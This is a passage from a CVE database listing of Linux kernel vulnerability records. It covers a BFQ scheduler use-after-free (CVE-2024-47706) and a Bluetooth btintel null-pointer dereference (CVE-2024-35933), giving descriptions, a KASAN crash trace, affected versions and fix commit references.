    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47701",
    "datePublished": "2024-10-21T11:53:37.276Z",
    "dateReserved": "2024-09-30T16:00:12.945Z",
    "dateUpdated": "2026-05-12T11:58:23.900Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47706 (GCVE-0-2024-47706)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

block, bfq: fix possible UAF for bfqq->bic with merge chain

Summary

In the Linux kernel, the following vulnerability has been resolved: block, bfq: fix possible UAF for bfqq->bic with merge chain 1) initial state, three tasks: Process 1 Process 2 Process 3 (BIC1) (BIC2) (BIC3) | Λ | Λ | Λ | | | | | | V | V | V | bfqq1 bfqq2 bfqq3 process ref: 1 1 1 2) bfqq1 merged to bfqq2: Process 1 Process 2 Process 3 (BIC1) (BIC2) (BIC3) | | | Λ \--------------\| | | V V | bfqq1--------->bfqq2 bfqq3 process ref: 0 2 1 3) bfqq2 merged to bfqq3: Process 1 Process 2 Process 3 (BIC1) (BIC2) (BIC3) here -> Λ | | \--------------\ \-------------\| V V bfqq1--------->bfqq2---------->bfqq3 process ref: 0 1 3 In this case, IO from Process 1 will get bfqq2 from BIC1 first, and then get bfqq3 through merge chain, and finially handle IO by bfqq3. Howerver, current code will think bfqq2 is owned by BIC1, like initial state, and set bfqq2->bic to BIC1. bfq_insert_request -> by Process 1 bfqq = bfq_init_rq(rq) bfqq = bfq_get_bfqq_handle_split bfqq = bic_to_bfqq -> get bfqq2 from BIC1 bfqq->ref++ rq->elv.priv[0] = bic rq->elv.priv[1] = bfqq if (bfqq_process_refs(bfqq) == 1) bfqq->bic = bic -> record BIC1 to bfqq2 __bfq_insert_request new_bfqq = bfq_setup_cooperator -> get bfqq3 from bfqq2->new_bfqq bfqq_request_freed(bfqq) new_bfqq->ref++ rq->elv.priv[1] = new_bfqq -> handle IO by bfqq3 Fix the problem by checking bfqq is from merge chain fist. And this might fix a following problem reported by our syzkaller(unreproducible): ================================================================== BUG: KASAN: slab-use-after-free in bfq_do_early_stable_merge block/bfq-iosched.c:5692 [inline] BUG: KASAN: slab-use-after-free in bfq_do_or_sched_stable_merge block/bfq-iosched.c:5805 [inline] BUG: KASAN: slab-use-after-free in bfq_get_queue+0x25b0/0x2610 block/bfq-iosched.c:5889 Write of size 1 at addr ffff888123839eb8 by task kworker/0:1H/18595 CPU: 0 PID: 18595 Comm: kworker/0:1H Tainted: G L 6.6.0-07439-gba2303cacfda #6 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014 Workqueue: kblockd blk_mq_requeue_work Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x91/0xf0 lib/dump_stack.c:106 print_address_description mm/kasan/report.c:364 [inline] print_report+0x10d/0x610 mm/kasan/report.c:475 kasan_report+0x8e/0xc0 mm/kasan/report.c:588 bfq_do_early_stable_merge block/bfq-iosched.c:5692 [inline] bfq_do_or_sched_stable_merge block/bfq-iosched.c:5805 [inline] bfq_get_queue+0x25b0/0x2610 block/bfq-iosched.c:5889 bfq_get_bfqq_handle_split+0x169/0x5d0 block/bfq-iosched.c:6757 bfq_init_rq block/bfq-iosched.c:6876 [inline] bfq_insert_request block/bfq-iosched.c:6254 [inline] bfq_insert_requests+0x1112/0x5cf0 block/bfq-iosched.c:6304 blk_mq_insert_request+0x290/0x8d0 block/blk-mq.c:2593 blk_mq_requeue_work+0x6bc/0xa70 block/blk-mq.c:1502 process_one_work kernel/workqueue.c:2627 [inline] process_scheduled_works+0x432/0x13f0 kernel/workqueue.c:2700 worker_thread+0x6f2/0x1160 kernel/workqueue.c:2781 kthread+0x33c/0x440 kernel/kthread.c:388 ret_from_fork+0x4d/0x80 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:305 </TASK> Allocated by task 20776: kasan_save_stack+0x20/0x40 mm/kasan/common.c:45 kasan_set_track+0x25/0x30 mm/kasan/common.c:52 __kasan_slab_alloc+0x87/0x90 mm/kasan/common.c:328 kasan_slab_alloc include/linux/kasan.h:188 [inline] slab_post_alloc_hook mm/slab.h:763 [inline] slab_alloc_node mm/slub.c:3458 [inline] kmem_cache_alloc_node+0x1a4/0x6f0 mm/slub.c:3503 ioc_create_icq block/blk-ioc.c:370 [inline] ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/a9bdd5b36887d2bac…
https://git.kernel.org/stable/c/bc2140534b2aae752…
https://git.kernel.org/stable/c/e1277ae780cca4e69…
https://git.kernel.org/stable/c/8aa9de02a4be2e700…
https://git.kernel.org/stable/c/ddbdaad123254fb53…
https://git.kernel.org/stable/c/7faed2896d78e48ec…
https://git.kernel.org/stable/c/880692ee233ba6380…
https://git.kernel.org/stable/c/6d130db286ad0ea39…
https://git.kernel.org/stable/c/18ad4df091dd5d067…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < a9bdd5b36887d2bacb8bc777fd18317c99fc2587 (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < bc2140534b2aae752e4f7cb4489642dbb5ec4777 (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < e1277ae780cca4e69ef5468d4582dfd48f0b8320 (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < 8aa9de02a4be2e7006e636816ce19b0d667ceaa3 (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < ddbdaad123254fb53e32480cb74a486a6868b1e0 (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < 7faed2896d78e48ec96229e73b30b0af6c00a9aa (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < 880692ee233ba63808182705b3333403413b58f5 (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < 6d130db286ad0ea392c96ebb2551acf0d7308048 (git) Affected: 36eca894832351feed9072d0f97eb06fc9482ca4 , < 18ad4df091dd5d067d2faa8fce1180b79f7041a7 (git)
Linux	Linux	Affected: 4.12 Unaffected: 0 , < 4.12 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47706",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:03:53.838190Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:19.673Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:10.318Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:28.698Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/bfq-iosched.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a9bdd5b36887d2bacb8bc777fd18317c99fc2587",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "bc2140534b2aae752e4f7cb4489642dbb5ec4777",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "e1277ae780cca4e69ef5468d4582dfd48f0b8320",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "8aa9de02a4be2e7006e636816ce19b0d667ceaa3",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "ddbdaad123254fb53e32480cb74a486a6868b1e0",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "7faed2896d78e48ec96229e73b30b0af6c00a9aa",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "880692ee233ba63808182705b3333403413b58f5",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "6d130db286ad0ea392c96ebb2551acf0d7308048",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            },
            {
              "lessThan": "18ad4df091dd5d067d2faa8fce1180b79f7041a7",
              "status": "affected",
              "version": "36eca894832351feed9072d0f97eb06fc9482ca4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/bfq-iosched.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.12"
            },
            {
              "lessThan": "4.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock, bfq: fix possible UAF for bfqq-\u003ebic with merge chain\n\n1) initial state, three tasks:\n\n\t\tProcess 1       Process 2\tProcess 3\n\t\t (BIC1)          (BIC2)\t\t (BIC3)\n\t\t  |  \u039b            |  \u039b\t\t  |  \u039b\n\t\t  |  |            |  |\t\t  |  |\n\t\t  V  |            V  |\t\t  V  |\n\t\t  bfqq1           bfqq2\t\t  bfqq3\nprocess ref:\t   1\t\t    1\t\t    1\n\n2) bfqq1 merged to bfqq2:\n\n\t\tProcess 1       Process 2\tProcess 3\n\t\t (BIC1)          (BIC2)\t\t (BIC3)\n\t\t  |               |\t\t  |  \u039b\n\t\t  \\--------------\\|\t\t  |  |\n\t\t                  V\t\t  V  |\n\t\t  bfqq1---------\u003ebfqq2\t\t  bfqq3\nprocess ref:\t   0\t\t    2\t\t    1\n\n3) bfqq2 merged to bfqq3:\n\n\t\tProcess 1       Process 2\tProcess 3\n\t\t (BIC1)          (BIC2)\t\t (BIC3)\n\t here -\u003e \u039b                |\t\t  |\n\t\t  \\--------------\\ \\-------------\\|\n\t\t                  V\t\t  V\n\t\t  bfqq1---------\u003ebfqq2----------\u003ebfqq3\nprocess ref:\t   0\t\t    1\t\t    3\n\nIn this case, IO from Process 1 will get bfqq2 from BIC1 first, and then\nget bfqq3 through merge chain, and finially handle IO by bfqq3.\nHowerver, current code will think bfqq2 is owned by BIC1, like initial\nstate, and set bfqq2-\u003ebic to BIC1.\n\nbfq_insert_request\n-\u003e by Process 1\n bfqq = bfq_init_rq(rq)\n  bfqq = bfq_get_bfqq_handle_split\n   bfqq = bic_to_bfqq\n   -\u003e get bfqq2 from BIC1\n bfqq-\u003eref++\n rq-\u003eelv.priv[0] = bic\n rq-\u003eelv.priv[1] = bfqq\n if (bfqq_process_refs(bfqq) == 1)\n  bfqq-\u003ebic = bic\n  -\u003e record BIC1 to bfqq2\n\n  __bfq_insert_request\n   new_bfqq = bfq_setup_cooperator\n   -\u003e get bfqq3 from bfqq2-\u003enew_bfqq\n   bfqq_request_freed(bfqq)\n   new_bfqq-\u003eref++\n   rq-\u003eelv.priv[1] = new_bfqq\n   -\u003e handle IO by bfqq3\n\nFix the problem by checking bfqq is from merge chain fist. And this\nmight fix a following problem reported by our syzkaller(unreproducible):\n\n==================================================================\nBUG: KASAN: slab-use-after-free in bfq_do_early_stable_merge block/bfq-iosched.c:5692 [inline]\nBUG: KASAN: slab-use-after-free in bfq_do_or_sched_stable_merge block/bfq-iosched.c:5805 [inline]\nBUG: KASAN: slab-use-after-free in bfq_get_queue+0x25b0/0x2610 block/bfq-iosched.c:5889\nWrite of size 1 at addr ffff888123839eb8 by task kworker/0:1H/18595\n\nCPU: 0 PID: 18595 Comm: kworker/0:1H Tainted: G             L     6.6.0-07439-gba2303cacfda #6\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\nWorkqueue: kblockd blk_mq_requeue_work\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x91/0xf0 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:364 [inline]\n print_report+0x10d/0x610 mm/kasan/report.c:475\n kasan_report+0x8e/0xc0 mm/kasan/report.c:588\n bfq_do_early_stable_merge block/bfq-iosched.c:5692 [inline]\n bfq_do_or_sched_stable_merge block/bfq-iosched.c:5805 [inline]\n bfq_get_queue+0x25b0/0x2610 block/bfq-iosched.c:5889\n bfq_get_bfqq_handle_split+0x169/0x5d0 block/bfq-iosched.c:6757\n bfq_init_rq block/bfq-iosched.c:6876 [inline]\n bfq_insert_request block/bfq-iosched.c:6254 [inline]\n bfq_insert_requests+0x1112/0x5cf0 block/bfq-iosched.c:6304\n blk_mq_insert_request+0x290/0x8d0 block/blk-mq.c:2593\n blk_mq_requeue_work+0x6bc/0xa70 block/blk-mq.c:1502\n process_one_work kernel/workqueue.c:2627 [inline]\n process_scheduled_works+0x432/0x13f0 kernel/workqueue.c:2700\n worker_thread+0x6f2/0x1160 kernel/workqueue.c:2781\n kthread+0x33c/0x440 kernel/kthread.c:388\n ret_from_fork+0x4d/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:305\n \u003c/TASK\u003e\n\nAllocated by task 20776:\n kasan_save_stack+0x20/0x40 mm/kasan/common.c:45\n kasan_set_track+0x25/0x30 mm/kasan/common.c:52\n __kasan_slab_alloc+0x87/0x90 mm/kasan/common.c:328\n kasan_slab_alloc include/linux/kasan.h:188 [inline]\n slab_post_alloc_hook mm/slab.h:763 [inline]\n slab_alloc_node mm/slub.c:3458 [inline]\n kmem_cache_alloc_node+0x1a4/0x6f0 mm/slub.c:3503\n ioc_create_icq block/blk-ioc.c:370 [inline]\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:12.735Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a9bdd5b36887d2bacb8bc777fd18317c99fc2587"
        },
        {
          "url": "https://git.kernel.org/stable/c/bc2140534b2aae752e4f7cb4489642dbb5ec4777"
        },
        {
          "url": "https://git.kernel.org/stable/c/e1277ae780cca4e69ef5468d4582dfd48f0b8320"
        },
        {
          "url": "https://git.kernel.org/stable/c/8aa9de02a4be2e7006e636816ce19b0d667ceaa3"
        },
        {
          "url": "https://git.kernel.org/stable/c/ddbdaad123254fb53e32480cb74a486a6868b1e0"
        },
        {
          "url": "https://git.kernel.org/stable/c/7faed2896d78e48ec96229e73b30b0af6c00a9aa"
        },
        {
          "url": "https://git.kernel.org/stable/c/880692ee233ba63808182705b3333403413b58f5"
        },
        {
          "url": "https://git.kernel.org/stable/c/6d130db286ad0ea392c96ebb2551acf0d7308048"
        },
        {
          "url": "https://git.kernel.org/stable/c/18ad4df091dd5d067d2faa8fce1180b79f7041a7"
        }
      ],
      "title": "block, bfq: fix possible UAF for bfqq-\u003ebic with merge chain",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47706",
    "datePublished": "2024-10-21T11:53:40.759Z",
    "dateReserved": "2024-09-30T16:00:12.946Z",
    "dateUpdated": "2026-05-12T11:58:28.698Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35933 (GCVE-0-2024-35933)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:52

Title

Bluetooth: btintel: Fix null ptr deref in btintel_read_version

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btintel: Fix null ptr deref in btintel_read_version If hci_cmd_sync_complete() is triggered and skb is NULL, then hdev->req_skb is NULL, which will cause this issue.

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/b19fe5eea619d54ee…
https://git.kernel.org/stable/c/ffdca0a62abaf8c41…
https://git.kernel.org/stable/c/22d3053ef05f0b504…
https://git.kernel.org/stable/c/b79e040910101b020…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: abfeea476c68afea54c9c050a2d3b19d5d2ee873 , < b19fe5eea619d54eea59bb8a37c0f8d00ef0e912 (git) Affected: abfeea476c68afea54c9c050a2d3b19d5d2ee873 , < ffdca0a62abaf8c41d8d9ea132000fd808de329b (git) Affected: abfeea476c68afea54c9c050a2d3b19d5d2ee873 , < 22d3053ef05f0b5045e45bd91e7473846261d65e (git) Affected: abfeea476c68afea54c9c050a2d3b19d5d2ee873 , < b79e040910101b020931ba0c9a6b77e81ab7f645 (git)
Linux	Linux	Affected: 5.17 Unaffected: 0 , < 5.17 (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35933",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-23T19:20:29.908054Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:54.538Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.082Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ec2049fb2b8be3e108fe2ef1f1040f91e72c9990"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/68a69bb2ecafaacdb998a87783068fb51736f43b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/86e9b47e8a75c74b1bd83a479979b425c5dc8bd9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/006936ecb4edfc3102464044f75858c714e34d28"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b19fe5eea619d54eea59bb8a37c0f8d00ef0e912"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ffdca0a62abaf8c41d8d9ea132000fd808de329b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/22d3053ef05f0b5045e45bd91e7473846261d65e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b79e040910101b020931ba0c9a6b77e81ab7f645"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:56.822Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/bluetooth/btintel.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b19fe5eea619d54eea59bb8a37c0f8d00ef0e912",
              "status": "affected",
              "version": "abfeea476c68afea54c9c050a2d3b19d5d2ee873",
              "versionType": "git"
            },
            {
              "lessThan": "ffdca0a62abaf8c41d8d9ea132000fd808de329b",
              "status": "affected",
              "version": "abfeea476c68afea54c9c050a2d3b19d5d2ee873",
              "versionType": "git"
            },
            {
              "lessThan": "22d3053ef05f0b5045e45bd91e7473846261d65e",
              "status": "affected",
              "version": "abfeea476c68afea54c9c050a2d3b19d5d2ee873",
              "versionType": "git"
            },
            {
              "lessThan": "b79e040910101b020931ba0c9a6b77e81ab7f645",
              "status": "affected",
              "version": "abfeea476c68afea54c9c050a2d3b19d5d2ee873",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/bluetooth/btintel.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.17"
            },
            {
              "lessThan": "5.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.86",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.27",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.86",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.27",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.6",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: Fix null ptr deref in btintel_read_version\n\nIf hci_cmd_sync_complete() is triggered and skb is NULL, then\nhdev-\u003ereq_skb is NULL, which will cause this issue."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:59.811Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b19fe5eea619d54eea59bb8a37c0f8d00ef0e912"
        },
        {
          "url": "https://git.kernel.org/stable/c/ffdca0a62abaf8c41d8d9ea132000fd808de329b"
        },
        {
          "url": "https://git.kernel.org/stable/c/22d3053ef05f0b5045e45bd91e7473846261d65e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b79e040910101b020931ba0c9a6b77e81ab7f645"
        }
      ],
